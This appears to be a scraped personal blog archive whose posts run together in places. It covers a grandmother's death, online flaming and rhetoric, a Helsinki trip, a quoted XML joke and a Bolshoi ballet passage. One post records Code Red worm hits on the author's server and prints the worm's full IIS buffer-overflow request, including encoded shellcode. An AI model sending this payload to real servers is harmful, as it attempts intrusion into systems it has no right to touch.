Last Monday, my last surviving grandparent, Johanna de Vries, my maternal Grandmother, passed away at 1:30am. Today I fly up to Brisbane to attend her funeral, and to grieve with my family.
Discussions like these, on the uniquely internet discussion phenomenon of flaming make me wish I knew more about rhetoric than I do. That, and the perceived "dumbing down" of public culture (particularly of discussion about politics).
You'd think that a philosopher with more than a passing knowledge of logic would have something sensible and productive to say about what makes public discussion good. But I don't have much to say. I'd like to, one day. Does anyone have any ideas of what other things would be good to read to get up to speed in the area? If so, please let me know.
We went the following evening. Gisele was on the program, the same ballet I'd seen performed five years ago during my first visit to Moscow. At that time the theater had been shabby, with grimy scaffolding from ongoing renovations concealing its fissured neo-Romanesque façade. The work had since been completed, the cast-iron chariot and four-horse cortege over the portico was meticulously restored, and the whole majestic front was splashed with cozy, pink light.
The audience had also undergone a remarkable transformation. Gone were the graying American retirees in Bermuda shorts and sensible shoes, the camera-clutching tour groups from England, and the prim Muscovite mothers, who had no doubt scrimped so that their daughters could see Russian culture in its highest form. In their stead sat row upon row of American and British bankers, lawyers, and accountants in somber, fashionable suits. Those Russian daughters, I could not fail to notice, had grown up in all the right places. They snuggled with the emissaries of foreign finance, and shot one another catty, competitive glances.
The most beautiful women sat with the beefy Russian businessmen. These pencil-thin molls favored form-fitting body suits patterned after various feline predators. They toted chic Fendi bags from which they plucked tiny cell-phones with long, painted nails.
Mobile phones chirped, rang, and buzzed incessantly throughout the performance, while hushed conversations in several languages echoed from the four corners of the gallery. I understood now why Mikhail Mikhailovich had told Roberta he never went to the ballet anymore. Yet I did not find the vulgarity repulsive. It was tantalizing, theatrical. Even the sinewy ballerinas fluttering about the stage were either too wrapped up in their routines to complain about the ruckus or had long ago realized that the real show at the Bolshoi was now the audience.
I'll be posting some details of photos I took in my week in Helsinki, over the next few days.
I wish I had seen this collection of photos before making my trip! It would have helped me decide what to go to search out. (And I would have made a trip into the library had I known it had that ceiling! It was just next door to where I was teaching.)
I had a wonderful time in Helsinki. It was good to meet lots of people I had email corresponded with, and plenty I hadn't. Most fun were the crazy Russian students: Hi Dmitry, Anna, Valentin, Ivan!
More later. Now to catch up on those emails and the pile of work waiting for me here.Helsinki. It's a long, attenuated day today, with stops in Singapore and London. I start teaching on Monday, and stop on Friday, then get on the plane Saturday morning to return home early on Sunday. It's a crazy timetable, but somebody's got to do it.
Expect a raft of pictures from Helsinki, if all goes well. Not next week, but sometime after that.history of the distribution of a worm: The "Code Red" worm is a pretty active beast. Since July 20, I've had 274 different attacks. The logs show the story: there was a short burst on July 20, one on August 1, and then the flood. Each was exactly the same request string:
Until August 5, when I got hit by a new strain, involving a string of Xs, rather than Ns.GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090% u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7 801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u000 0%u00=a HTTP/1.0
"That ambitious Comp Sci grad student, eager to get his Ph.D. and begin making real money, will create The Two Final Infosets: MatterML and SpiritML. Then, late one night, as rain falls in torrents and lightning flashes outside his laboratory windows, he'll run XSLT to transform the material world to the spiritual world. We'll be gone. The last material object on earth will be that graduate student's open copy of XML in a Nutshell. It makes an editor in chief proud, in a perverse kind of way."